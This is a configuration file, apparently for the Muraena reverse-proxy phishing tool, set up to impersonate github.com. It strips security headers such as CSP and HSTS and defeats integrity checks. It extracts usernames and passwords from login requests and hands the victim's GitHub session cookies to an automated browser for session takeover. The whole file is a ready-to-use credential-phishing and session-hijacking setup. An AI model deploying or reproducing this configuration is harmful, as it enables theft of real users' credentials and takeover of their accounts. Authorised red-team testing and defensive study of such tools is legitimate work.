[proxy]
# Phishing domain
phishing = "phishing.com"

# Target domain to proxy
destination = "github.com"

# Listening IP address
IP = "0.0.0.0"

# Listeninng TCP Port
port = 443

# Force HTTP to HTTPS redirection
[proxy.HTTPtoHTTPS]
enabled = true
HTTPport = 80


#
# Proxy's replacement rules
#
[transform]

# List of content types to exclude from the transformation process
skipContentType = [ "font/*", "image/*" ]

# Enable transformation rules in base64 strings
[transform.base64]
enabled = false
padding = [ "=", "." ]

[transform.request]
headers = [
    "Cookie",
    "Referer",
    "Origin",
    "X-Forwarded-For"
]

[transform.response]
headers = [
    "Location",
    "WWW-Authenticate",
    "Origin",
    "Set-Cookie",
    "Access-Control-Allow-Origin"
]

# Generic replacement rules:
# it applies to body and any http header enabled for manipulation
content = [
    [ "integrity", "intintint" ]
]


#
# Proxy's wiping rules
#
[remove]

[remove.request]
headers = [
    "X-Forwarded-For"
]

[remove.response]
headers = [
    "Content-Security-Policy",
    "Content-Security-Policy-Report-Only",
    "Strict-Transport-Security",
    "X-XSS-Protection",
    "X-Content-Type-Options",
    "X-Frame-Options",
    "Referrer-Policy",
    "X-Forwarded-For"
]

#
# Rudimental redirection rules
#
[[drop]]
path = "/logout"
redirectTo = "https://github.com"


#
# LOG
#
[log]
enabled = true
filePath = "muraena.log"


#
# TLS
#
[tls]
enabled = true

# Expand allows to replace the content of the certificate/key/root parameters to their content instead of the
# filepath
expand = false
certificate = "./cert.pem"
key = "./privkey.pem"
root = "./fullchain.pem"

#
# CRAWLER
#
[crawler]
enabled = false
depth = 3
upto = 20
externalOriginPrefix = "cdn-"
externalOrigins = [
    "*.githubassets.com"
]

#
# NECROBROWSER
#
[necrobrowser]
enabled = true
endpoint = "http://127.0.0.1:3000/instrument"
profile = "./config/instrument.github.necro"

[necrobrowser.keepalive]
# GET on an authenticated endpoint to keep the session alive
# every keepalive request is processed as its own necrotask
enabled = false
minutes = 5    # keeps alive the session every 5 minutes


[necrobrowser.trigger]
type = "cookies"
values = ["user_session", "dotcom_user"]  # these are two cookies set by github after successful auth
delay = 5   # check every 5 seconds victim's cookie jar to see if we need to instrument something


#
# STATIC SERVER
#
[staticServer]
enabled = false
port = 8080
localPath = "./static/"
urlPath = "/evilpath/"


#
# TRACKING
#
[tracking]
enabled = true

# the tracking below supposes your phishing url will be something like:
# https://github.com/GithubProfile/aaa-111-bbb  (see regex below)
# NOTE: the URL doesn't need to exist, so this is also valid (update identifier accordingly):
# https://github.com/GithubProfileFooBar/aaa-111-bbb
type = "path"

# Tracking identifier
identifier = "_GithubProfile_"

# Rule to generate and validate a tracking identifier
regex = "[a-zA-Z0-9]{3}-[a-zA-Z0-9]{3}-[a-zA-Z0-9]{3}"

[tracking.urls]
credentials = [ "/session" ]

# we don't need this anymore since we manage via necrobrowser.trigger
# authSession = [ "/settings/profile" ]

[[tracking.patterns]]
label = "Username"
matching = "login"
start = "login="
end = "&password="

[[tracking.patterns]]
label = "Password"
matching = "password"
start = "password="
end = "&"